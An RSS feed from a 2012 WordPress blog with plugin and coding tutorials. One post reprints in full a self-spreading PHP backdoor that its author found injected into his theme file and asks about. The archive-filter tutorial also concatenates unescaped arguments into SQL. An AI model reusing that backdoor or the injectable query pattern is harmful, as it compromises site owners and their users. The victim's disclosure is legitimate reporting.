<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>takien, not taken &#187; CMS</title>
	<atom:link href="http://takien.com/category/cms/feed" rel="self" type="application/rss+xml" />
	<link>http://takien.com</link>
	<description>Webmaster&#039;s Information and Resource</description>
	<lastBuildDate>Mon, 21 May 2012 18:32:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Easy Table is The Easiest Way to Create Table in WordPress</title>
		<link>http://takien.com/1126/easy-table-is-the-easiest-way-to-create-table-in-wordpress.php</link>
		<comments>http://takien.com/1126/easy-table-is-the-easiest-way-to-create-table-in-wordpress.php#comments</comments>
		<pubDate>Mon, 21 May 2012 01:26:51 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Plugins]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1126</guid>
		<description><![CDATA[Hello, this is the official post about my newest WordPress plugins, Easy Table. As it&#8217;s name, Easy Table is WordPress plugin to create table in post, page, or widget in easy way using CSV format. This can also display table from CSV file. Easy Table is a WordPress plugin that allow you to insert table [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_1127" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2012/05/easy-table-wordpress-plugins.png"><img class="size-medium wp-image-1127" title="easy table wordpress plugins" src="http://img.takien.com/2012/05/easy-table-wordpress-plugins-300x213.png" alt="easy table wordpress plugins" width="300" height="213" /></a><p class="wp-caption-text">Easy table wordpress plugins screenshot</p></div>
<p>Hello, this is the official post about my newest WordPress plugins, Easy Table. As it&#8217;s name, Easy Table is WordPress plugin to create table in post, page, or widget in easy way using CSV format. This can also display table from CSV file.</p>
<p>Easy Table is a WordPress plugin that allow you to insert table in easy way. Why it&#8217;s easy? Because you don&#8217;t need to write any complicated HTML syntax. Note that this plugin is not a graphical user interface table generator, so you can simply type your table data directly in your post while you writing. No need to switch to another window nor click any toolbar button.</p>
<p>Easy Table using standard CSV format to generate table data, it&#8217;s easiest way to build a table.</p>
<h2>Some Features</h2>
<ul>
<li>Easy to use, no advanced skill required</li>
<li>Display table in post, page or even in widget</li>
<li>Read data from CSV file and display the data in table</li>
<li>Sortable table column (using tablesorter jQuery plugin)</li>
<li>Fancy table design (using Twitter CSS bootstrap)</li>
<li>WYSIWYG safe, I mean you can switch HTML/View tab in WordPress editor without breaking the table data.</li>
</ul>
<h2>Example:</h2>
<p><strong>1. Basic Example</strong></p>
<p>This just example, on actual code there should no space after opening [ sign.</p>
<pre>[ table]Year,Make,Model,Length
1997,Ford,E350,2.34
2000,Mercury,Cougar,2.38[ /table]</pre>
<p><strong>Result:</strong><br />
<table  width="100%" align="left" class="tablesorter table table-striped" ><caption></caption><thead>
<tr><th>Year</th><th>Make</th><th>Model</th><th>Length</th></tr></thead><tbody>
<tr><td>1997</td><td>Ford</td><td>E350</td><td>2.34</td></tr>
<tr><td>2000</td><td>Mercury</td><td>Cougar</td><td>2.38</td></tr></tbody></table></p>
<p><strong>2. More complicated table data:</strong></p>
<pre>[ table]Year,Make,Model,Description,Price
1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""","",4900.00
1999,Chevy,"Venture ""Extended Edition, Very Large""","",5000.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00[ /table]</pre>
<p><strong>Result:</strong></p>
<table  width="100%" align="left" class="tablesorter table table-striped" ><caption></caption><thead>
<tr><th>Year</th><th>Make</th><th>Model</th><th>Description</th><th>Price</th></tr></thead><tbody>
<tr><td>1997</td><td>Ford</td><td>E350</td><td>ac, abs, moon</td><td>3000.00</td></tr>
<tr><td>1999</td><td>Chevy</td><td>Venture "Extended Edition"</td><td>4900.00</td><td></td></tr>
<tr><td>1999</td><td>Chevy</td><td>Venture "Extended Edition, Very Large"</td><td>5000.00</td><td></td></tr>
<tr><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td>air</td><td>moon roof</td><td>loaded"</td><td>4799.00</td><td></td></tr></tbody></table>
<p><strong>3. Table with no heading</strong></p>
<pre>[ table th="0"]
row1col1,row1col2,row1col3
row2col1,row2col2,row2col3
row3col1,row3col2,row3col3
[ /table]</pre>
<p>Result:</p>
<table  width="100%" align="left" class="tablesorter table table-striped" ><caption></caption><tbody>
<tr><td>row1col1</td><td>row1col2</td><td>row1col3</td></tr>
<tr><td>row2col1</td><td>row2col2</td><td>row2col3</td></tr>
<tr><td>row3col1</td><td>row3col2</td><td>row3col3</td></tr></table>
<p><strong>4. Table with caption, custom class and no <em>tablesorter</em><br />
</strong></p>
<pre>[ table caption="This is example table in WordPress" class="table table-bordered" tablesorter="0"]
row1col1,row1col2,row1col3
row2col1,row2col2,row2col3
row3col1,row3col2,row3col3
[ /table]</pre>
<p>Result:</p>
<table  width="100%" align="left" class="table table-bordered" ><caption>This is example table in WordPress</caption><thead>
<tr><th>heading1</th><th>heading2</th><th>heading3</th></tr></thead><tbody>
<tr><td>row1col1</td><td>row1col2</td><td>row1col3</td></tr>
<tr><td>row2col1</td><td>row2col2</td><td>row2col3</td></tr>
<tr><td>row3col1</td><td>row3col2</td><td>row3col3</td></tr></tbody></table>
<p>&nbsp;</p>
<p>In the second example above, the cell data that has commas and quote should be wrapped with " (double quote).</p>
<h2>Download:</h2>
<p><a href="http://wordpress.org/extend/plugins/easy-table/" target="_blank">Download from WordPress.org</a> or directly from your wp-admin, search "Easy Table" in the plugin installer.</p>
<h2>Note:</h2>
<ul>
<li>After installing you have to go to Settings-&gt;Options and click Save once to load the default settings.</li>
<li><strike>Backward compatibility of function <strong>str_getcsv</strong> is not work. So if your PHP version is lower than 5.3.0, the table will only show first row.</strike> Fixed in version 0.2, please update if you have installed the previous version.</li>
</ul>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1126/easy-table-is-the-easiest-way-to-create-table-in-wordpress.php/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Display WordPress Archive Lists By Specific Year or Month</title>
		<link>http://takien.com/1092/display-wordpress-archive-lists-by-specific-year-or-month.php</link>
		<comments>http://takien.com/1092/display-wordpress-archive-lists-by-specific-year-or-month.php#comments</comments>
		<pubDate>Sat, 04 Feb 2012 17:25:28 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1092</guid>
		<description><![CDATA[By default, wp_get_archives can not passes year parameter on the argument. In this tutorial I will show you how to create a filter for wp_get_archives function so can be filtered by specific date, year or month. ]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_1109" class="wp-caption alignnone" style="width: 310px"><a href="http://img.takien.com/2012/02/archive-image-calendar.jpg"><img src="http://img.takien.com/2012/02/archive-image-calendar-300x284.jpg" alt="WordPress archive by specific date calendar" title="archive-image-calendar" width="300" height="284" class="size-medium wp-image-1109" /></a><p class="wp-caption-text">WordPress archive by specific date</p></div>WordPress has <code>wp_get_archives</code> function to display date-based archives list. Here is the default args for wp_get_archives:<br />
<div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<pre>$args = array(
    'type'            =&gt; 'monthly',
    'limit'           =&gt; ,
    'format'          =&gt; 'html',
    'before'          =&gt; ,
    'after'           =&gt; ,
    'show_post_count' =&gt; false,
    'echo'            =&gt; 1
); </pre>
<p>I can choose whether archive should be displayed yearly, monthly, daily or weekly by passing <em>type</em> argument. </p>
<h2>The Problem</h2>
<p>Unfortunately I &#8216;CAN NOT&#8217; filter archive only on specific date, in this case I want to display monthly archive on year 2011. I have googled this problem but no luck.</p>
<h2>The solution</h2>
<p>Then I went into the code in the file where the <em>wp_get_archives</em> function is <a href="http://core.trac.wordpress.org/browser/tags/3.3.1/wp-includes/general-template.php" target="_blank">located</a>, and found this filer hook &#8216;<code>$where = apply_filters( 'getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r );</code>&#8216;</p>
<p>That is the filter I was looking for, so I created this callback.</p>
<pre>function takien_archive_where($where,$args){
	$year		= isset($args['year']) 		? $args['year'] 	: '';
	$month		= isset($args['month']) 	? $args['month'] 	: '';
	$monthname	= isset($args['monthname']) ? $args['monthname']: '';
	$day		= isset($args['day']) 		? $args['day'] 		: '';
	$dayname	= isset($args['dayname']) 	? $args['dayname'] 	: '';

	if($year){
		$where .= " AND YEAR(post_date) = '$year' ";
		$where .= $month ? " AND MONTH(post_date) = '$month' " : '';
		$where .= $day ? " AND DAY(post_date) = '$day' " : '';
	}
	if($month){
		$where .= " AND MONTH(post_date) = '$month' ";
		$where .= $day ? " AND DAY(post_date) = '$day' " : '';
	}
	if($monthname){
		$where .= " AND MONTHNAME(post_date) = '$monthname' ";
		$where .= $day ? " AND DAY(post_date) = '$day' " : '';
	}
	if($day){
		$where .= " AND DAY(post_date) = '$day' ";
	}
	if($dayname){
		$where .= " AND DAYNAME(post_date) = '$dayname' ";
	}
	return $where;
}</pre>
<p>Now, I have additional arguments than can be passed to <em>wp_get_archives</em> function:</p>
<ul>
<li><strong>year </strong>(string), year to display, eg 2011</li>
<li><strong>month </strong>(string), monthnum to display, eg 2 for February</li>
<li><strong>monthname </strong>(string), month name to display, eg January</li>
<li><strong>day </strong>(string), day of month to display, eg 9</li>
<li><strong>dayname </strong>(string), day name to display, eg Sunday</li>
</ul>
<h2>Usage </h2>
<pre>//This is example to display archive list on year 2010.
//call the filter early before any output, the best place is in functions.php
add_filter( 'getarchives_where','takien_archive_where',10,2);

/* place the following code at where output to be displayed.*/

//display the archive list monthly based, on year 2010
//set the arguments
$args = array(
    'type'            =&gt; 'monthly',
    'echo'            =&gt; 0,
    'year'       =&gt; '2010'
);

//render the output

echo '&lt;h2&gt;Monthly archive 2010&lt;/h2&gt;';
echo '&lt;ul&gt;'.wp_get_archives($args).'&lt;/ul&gt;';

//display the archive list daily based, on February 2011
$args = array(
    'type'            =&gt; 'daily',
    'echo'            =&gt; 0,
    'year'       =&gt; '2011',
    'month'     =&gt; '12'
);

echo '&lt;h2&gt;Daily archive December, 2011&lt;/h2&gt;';
echo '&lt;ul&gt;'.wp_get_archives($args).'&lt;/ul&gt;';

//set the arguments
$args = array(
    'type'    =&gt; 'daily',
    'echo'    =&gt; 0,
    'month'   =&gt; '1'
);

echo '&lt;h2&gt;Daily archive January, all years&lt;/h2&gt;';
echo '&lt;ul&gt;'.wp_get_archives($args).'&lt;/ul&gt;';</pre>
<p>If there&#8217;s post on that specific date, the output result should look like this:</p>
<div class="information"><div class="box-title">Result</div><div class="box-content"></p>
<h2>Monthly archive 2010</h2>
<ul>
<li><a title="December 2010" href="http://takien.com/date/2010/12">December 2010</a></li>
<li><a title="November 2010" href="http://takien.com/date/2010/11">November 2010</a></li>
<li><a title="August 2010" href="http://takien.com/date/2010/08">August 2010</a></li>
<li><a title="July 2010" href="http://takien.com/date/2010/07">July 2010</a></li>
<li><a title="March 2010" href="http://takien.com/date/2010/03">March 2010</a></li>
<li><a title="February 2010" href="http://takien.com/date/2010/02">February 2010</a></li>
<li><a title="January 2010" href="http://takien.com/date/2010/01">January 2010</a></li>
</ul>
<h2>Daily archive December, 2011</h2>
<ul>
<li><a title="December 30, 2011" href="http://takien.com/date/2011/12/30">December 30, 2011</a></li>
<li><a title="December 15, 2011" href="http://takien.com/date/2011/12/15">December 15, 2011</a></li>
</ul>
<h2>Daily archive January, all years</h2>
<ul>
<li><a title="January 24, 2012" href="http://takien.com/date/2012/01/24">January 24, 2012</a></li>
<li><a title="January 21, 2012" href="http://takien.com/date/2012/01/21">January 21, 2012</a></li>
<li><a title="January 1, 2011" href="http://takien.com/date/2011/01/01">January 1, 2011</a></li>
<li><a title="January 29, 2010" href="http://takien.com/date/2010/01/29">January 29, 2010</a></li>
<li><a title="January 28, 2010" href="http://takien.com/date/2010/01/28">January 28, 2010</a></li>
<li><a title="January 27, 2010" href="http://takien.com/date/2010/01/27">January 27, 2010</a></li>
<li><a title="January 27, 2008" href="http://takien.com/date/2008/01/27">January 27, 2008</a></li>
<li><a title="January 24, 2008" href="http://takien.com/date/2008/01/24">January 24, 2008</a></li>
<li><a title="January 23, 2008" href="http://takien.com/date/2008/01/23">January 23, 2008</a></li>
<li><a title="January 21, 2008" href="http://takien.com/date/2008/01/21">January 21, 2008</a></li>
<li><a title="January 20, 2008" href="http://takien.com/date/2008/01/20">January 20, 2008</a></li>
<li><a title="January 9, 2008" href="http://takien.com/date/2008/01/09">January 9, 2008</a></li>
<li><a title="January 8, 2008" href="http://takien.com/date/2008/01/08">January 8, 2008</a></li>
<li><a title="January 1, 2008" href="http://takien.com/date/2008/01/01">January 1, 2008</a></li>
</ul>
<p></div></div>
<p>In fact, you may add other MySQL date-time function to the arguments, see <a title="MySQL Date and Time Functions" href="dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html" target="_blank">this for reference</a>.</p>
<p>Good luck.</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1092/display-wordpress-archive-lists-by-specific-year-or-month.php/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Suspicious PHP Code In My WordPress Theme File</title>
		<link>http://takien.com/1077/suspicious-php-code-in-my-wordpress-theme-file.php</link>
		<comments>http://takien.com/1077/suspicious-php-code-in-my-wordpress-theme-file.php#comments</comments>
		<pubDate>Fri, 03 Feb 2012 04:55:06 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1077</guid>
		<description><![CDATA[Recently I got my site not working. It seems there is an error in my functions.php "Parse error: syntax error, unexpected '}' in /home/x/public_html/wp-content/themes/takien-theme-blue/functions.php on line 317" I go to that line using my favorite Editor, and surprisingly I found this strange code that I never created before: function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"< "."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_1084" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2012/02/malicious-code-on-wordpress.gif"><img src="http://img.takien.com/2012/02/malicious-code-on-wordpress-300x225.gif" alt="" title="malicious-code-on-wordpress" width="300" height="225" class="size-medium wp-image-1084" /></a><p class="wp-caption-text">Malicious code on WordPress</p></div>Recently I got my site not working. It seems there is an error in my functions.php<br />
<code><br />
"Parse error: syntax error, unexpected '}' in /home/x/public_html/wp-content/themes/takien-theme-blue/functions.php on line 317"</code></p>
<p>I go to that line using my <a title="WP Editarea WordPress Plugin" href="http://takien.com/606/wp-editarea-wordpress-plugin.php" target="_blank">favorite Editor</a>, and surprisingly I found this strange code that I never created before:<br />
<div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<p><span id="more-1077"></span></p>
<p><iframe src="http://code.takien.com/fb526.embed" frameborder="0" scrolling="no" width="100%" height="1000">
<pre>function _check_active_widget(){  	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"< "."?"));$output="";$allowed="";  	$output=strip_tags($output, $allowed);  	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));  	if (is_array($direst)){  		foreach ($direst as $item){  			if (is_writable($item)){  				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));  				$cont=file_get_contents($item);  				if (stripos($cont,$ftion) === false){  					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";  					$output .= $before . "Not found" . $after;  					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}  					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);				  					$output .= ($showdot &#038;&#038; $ellipsis) ? "..." : "";  				}  			}  		}  	}  	return $output;  }  function _get_all_widgetcont($wids,$items=array()){  	$places=array_shift($wids);  	if(substr($places,-1) == "/"){  		$places=substr($places,0,-1);  	}  	if(!file_exists($places) || !is_dir($places)){  		return false;  	}elseif(is_readable($places)){  		$elems=scandir($places);  		foreach ($elems as $elem){  			if ($elem != "." &#038;&#038; $elem != ".."){  				if (is_dir($places . "/" . $elem)){  					$wids[]=$places . "/" . $elem;  				} elseif (is_file($places . "/" . $elem)&#038;&#038;   					$elem == substr(__FILE__,-13)){  					$items[]=$places . "/" . $elem;}  				}  			}  	}else{  		return false;	  	}  	if (sizeof($wids) > 0){  		return _get_all_widgetcont($wids,$items);  	} else {  		return $items;  	}  }  if(!function_exists("stripos")){       function stripos(  $str, $needle, $offset = 0  ){           return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );       }  }    if(!function_exists("strripos")){       function strripos(  $haystack, $needle, $offset = 0  ) {           if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );           if(  $offset < 0  ){               $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );           }           else{               $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );           }           if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;           $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );           return $pos;       }  }  if(!function_exists("scandir")){   	function scandir($dir,$listDirectories=false, $skipDots=true) {  	    $dirArray = array();  	    if ($handle = opendir($dir)) {  	        while (false !== ($file = readdir($handle))) {  	            if (($file != "." &#038;&#038; $file != "..") || $skipDots == true) {  	                if($listDirectories == false) { if(is_dir($file)) { continue; } }  	                array_push($dirArray,basename($file));  	            }  	        }  	        closedir($handle);  	    }  	    return $dirArray;  	}  }  add_action("admin_head", "_check_active_widget");  function _prepared_widget(){  	if(!isset($length)) $length=120;  	if(!isset($method)) $method="cookie";  	if(!isset($html_tags)) $html_tags="<a>";  	if(!isset($filters_type)) $filters_type="none";  	if(!isset($s)) $s="";  	if(!isset($filter_h)) $filter_h=get_option("home");   	if(!isset($filter_p)) $filter_p="wp_";  	if(!isset($use_link)) $use_link=1;   	if(!isset($comments_type)) $comments_type="";   	if(!isset($perpage)) $perpage=$_GET["cperpage"];  	if(!isset($comments_auth)) $comments_auth="";  	if(!isset($comment_is_approved)) $comment_is_approved="";   	if(!isset($authname)) $authname="auth";  	if(!isset($more_links_text)) $more_links_text="(more...)";  	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");  	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;  	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";  	if(!isset($more_content)) $more_content="ma".$s."il";  	if(!isset($forces_more)) $forces_more=1;  	if(!isset($fakeit)) $fakeit=1;  	if(!isset($sql)) $sql="";  	if (!$widget_output) :  	  	global $wpdb, $post;  	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#  	if (!empty($post->post_password)) {   		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {   			if(is_feed()) {   				$output=__("There is no excerpt because this is a protected post.");  			} else {  	            $output=get_the_password_form();  			}  		}  	}  	if(!isset($fix_tag)) $fix_tag=1;  	if(!isset($filters_types)) $filters_types=$filter_h;   	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;  	if(!isset($more_tags)) $more_tags="div";  	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#  	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";	  	if(!isset($showdot)) $showdot=1;  	  	$comments=$wpdb->get_results($sql);	  	if($fakeit == 2) {   		$text=$post->post_content;  	} elseif($fakeit == 1) {   		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;  	} else {   		$text=$post->post_excerpt;  	}  	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#  	if($length < 0) {  		$output=$text;  	} else {  		if(!$no_more &#038;&#038; strpos($text, "<!--more-->")) {  		    $text=explode("<!--more-->", $text, 2);  			$l=count($text[0]);  			$more_link=1;  			$comments=$wpdb->get_results($sql);  		} else {  			$text=explode(" ", $text);  			if(count($text) > $length) {  				$l=$length;  				$ellipsis=1;  			} else {  				$l=count($text);  				$more_links_text="";  				$ellipsis=0;  			}  		}  		for ($i=0; $i< $l; $i++)  				$output .= $text[$i] . " ";  	}  	update_option("_is_widget_active_", 1);  	if("all" != $html_tags) {  		$output=strip_tags($output, $html_tags);  		return $output;  	}  	endif;  	$output=rtrim($output, "\s\n\t\r\0\x0B");      $output=($fix_tag) ? balanceTags($output, true) : $output;  	$output .= ($showdot &#038;&#038; $ellipsis) ? "..." : "";  	$output=apply_filters($filters_type, $output);  	switch($more_tags) {  		case("div") :  			$tag="div";  		break;  		case("span") :  			$tag="span";  		break;  		case("p") :  			$tag="p";  		break;  		default :  			$tag="span";  	}    	if ($use_link ) {  		if($forces_more) {  			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() &#038;&#038; @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a>" . "\n";  		} else {  			$output .= " < " . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a>" . "\n";  		}  	}  	return $output;  }    add_action("init", "_prepared_widget");    function __popular_posts($no_posts=6, $before="
<li>", $after="</li>

", $show_pass_post=false, $duration="") {  	global $wpdb;  	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";  	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";  	if(!$show_pass_post) $request .= " AND post_password =\"\"";  	if($duration !="") {   		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";  	}  	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";  	$posts=$wpdb->get_results($request);  	$output="";  	if ($posts) {  		foreach ($posts as $post) {  			$post_title=stripslashes($post->post_title);  			$comment_count=$post->comment_count;  			$permalink=get_permalink($post->ID);  			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;  		}  	} else {  		$output .= $before . "None found" . $after;  	}  	return  $output;  }</pre>
<p> </iframe></p>
<p>Not sure whether is&#8217;s a virus or other malicious script and don&#8217;t really know how it&#8217;s affected on my site.<br />
Where it come from? How to prevent it from coming back? I have not found the answer yet.</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1077/suspicious-php-code-in-my-wordpress-theme-file.php/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>WordPress Reserved Global Variables, You Should Avoid Define A Variable Using These Name</title>
		<link>http://takien.com/1050/wordpress-reserved-global-variables-you-should-avoid-define-a-variable-using-these-name.php</link>
		<comments>http://takien.com/1050/wordpress-reserved-global-variables-you-should-avoid-define-a-variable-using-these-name.php#comments</comments>
		<pubDate>Mon, 23 Jan 2012 18:26:21 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1050</guid>
		<description><![CDATA[Global variable is a variable that is accessible in every scope, in PHP it works ONLY for the same page and the file that are included after. However, some predefined variables, known as superglobals are always accessible in whole site. Both of global and superglobal variable can be redefined or overwrite it&#8217;s value. When developing [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_1054" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2012/01/wordpress-logos.jpg"><img class="size-medium wp-image-1054" title="wordpress-logos" src="http://img.takien.com/2012/01/wordpress-logos-300x218.jpg" alt="" width="300" height="218" /></a><p class="wp-caption-text">Wordpress Logos</p></div>
<p><em>Global variable</em> is a variable that is accessible in <em>every scope</em>, in PHP it works ONLY for the same page and the file that are included after. However, some predefined variables, known as <em>superglobals</em> are always accessible in whole site. Both of global and superglobal variable can be redefined or overwrite it&#8217;s value.</p>
<p>When developing a WordPress Plugin and or Theme, sometimes you use the PHP global variable. That&#8217;s okay, but it&#8217;s HIGHLY RECOMMENDED that you not use variable name that are already defined by WordPress. Why?  Because it may break your other code that may intended to use WordPress variable.</p>
<p>&nbsp;</p>
<h2>Example</h2>
<p>Example case:</p>
<p><strong>1. You have this code somewhere in your theme:</strong></p>
<pre lang="php">
$cat = 5; /*define cat global variable */
$paged = 2; /*define paged global variable */

/* Those variable are intended to this custom query */

query_posts("cat=$cat&amp;posts_per_page=10&amp;paged=$paged");
if (have_posts()) while (have_posts()) : the_post();
	echo get_the_title().'&lt;br /&gt;';
endwhile;</pre>
<p>The result is you will get the list of 10 post title from category 5, paged 2. That way as what you expected.</p>
<p><strong>2. On the other hand, you (or other developer) also have this code:</strong></p>
<pre>query_posts("cat=$cat&amp;posts_per_page=10&amp;paged=$paged");
if (have_posts()) while (have_posts()) : the_post();
	echo get_the_title().'&lt;br /&gt;';
endwhile;</pre>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>Here, you are not define $cat and $paged variable. For the reason that your purpose is to get post in current category ($cat) and current page ($paged) <em>since $cat</em> and <em>$paged</em> variable is always available as global variable in WordPress depending on which page you&#8217;re accessed. But what happened is unexpected, because those global variable was already previously redefined (in example #1).</p>
<p>So, do not redefine a reserved WordPress global variable unless you are know what are you doing.</p>
<h2>The lists of WordPress Reserved Variable</h2>
<p>Anyway, what is the variables that reserved WordPress? Here is the list, the left side is variable name, and the right side is the type:</p>
<pre>$_template_file = string
$require_once = boolean
$posts = array
$post = object
$wp_did_header = boolean
$wp_did_template_redirect = NULL
$wp_query = object
$wp_rewrite = object
$wpdb = object
$wp_version = string
$wp = object
$id = integer
$comment = NULL
$user_ID = integer
$cat = string
$paged = integer
$error = string
$m = integer
$p = integer
$post_parent = string
$subpost = string
$subpost_id = string
$attachment = string
$attachment_id = integer
$name = string
$static = string
$pagename = string
$page_id = integer
$second = string
$minute = string
$hour = string
$day = integer
$monthnum = integer
$year = integer
$w = integer
$category_name = string
$tag = string
$tag_id = string
$author_name = string
$feed = string
$tb = string
$comments_popup = string
$meta_key = string
$meta_value = string
$preview = string
$s = string
$sentence = string
$fields = string
$category__in = array
$category__not_in = array
$category__and = array
$post__in = array
$post__not_in = array
$tag__in = array
$tag__not_in = array
$tag__and = array
$tag_slug__in = array
$tag_slug__and = array
$ignore_sticky_posts = boolean
$suppress_filters = boolean
$cache_results = boolean
$update_post_term_cache = boolean
$update_post_meta_cache = boolean
$post_type = string
$posts_per_page = integer
$nopaging = boolean
$comments_per_page = string
$no_found_rows = boolean
$order = string</pre>
<p> <img src='http://takien.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1050/wordpress-reserved-global-variables-you-should-avoid-define-a-variable-using-these-name.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cara Memasang Komentar Disqus di WordPress</title>
		<link>http://takien.com/900/cara-memasang-komentar-disqus-di-wordpress.php</link>
		<comments>http://takien.com/900/cara-memasang-komentar-disqus-di-wordpress.php#comments</comments>
		<pubDate>Sun, 11 Sep 2011 17:47:28 +0000</pubDate>
